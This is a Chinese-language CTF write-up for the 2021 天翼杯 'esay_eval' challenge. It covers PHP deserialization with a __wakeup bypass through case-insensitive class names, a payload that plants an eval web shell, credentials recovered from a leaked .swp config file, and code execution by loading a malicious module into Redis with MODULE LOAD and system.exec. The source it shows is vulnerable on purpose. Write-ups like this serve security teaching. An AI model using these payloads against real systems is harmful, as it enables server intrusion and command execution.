天翼杯-2021-esay_eval

摘要
反序列化、redis、php特性


#### 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

反序列化

利用B到A执行命令,需要绕过wakeup,需要先绕过正则,正则只对大写进行了匹配

php大小写问题

—区分

1. 变量名区分大小写

2. 常量名默认区分大小写,通常都写为大写

3. php.ini配置项指令区分大小写

—不区分

4. 函数名、方法名、类名不区分大小写

5. 魔术常量不区分大小写,推荐大写

6. NULL、TRUE、FALSE不区分大小写

1
?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:17:"eval($_POST[ok]);";}}

信息获取

image-20210924214011496

开启端口6379,6379是Redis服务的默认端口。

可以读取到.config.php.swp,恢复:

1
2
3
4
5
6
7
<?php

define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");
define("REDIS_PASS","you_cannot_guess_it");

redis服务的配置

phpinfo

image-20210924214530371

/tmp/

redis

tmp 上传 恶意so文件

控制redis加载恶意so文件获取权限

1
2
MODULE LOAD "/tmp/exp.so"
system.exec "whoami"
image-20210927085425948
作者

inanb

发布于

2021-09-24

更新于

2021-11-24

许可协议


:D 一言句子获取中...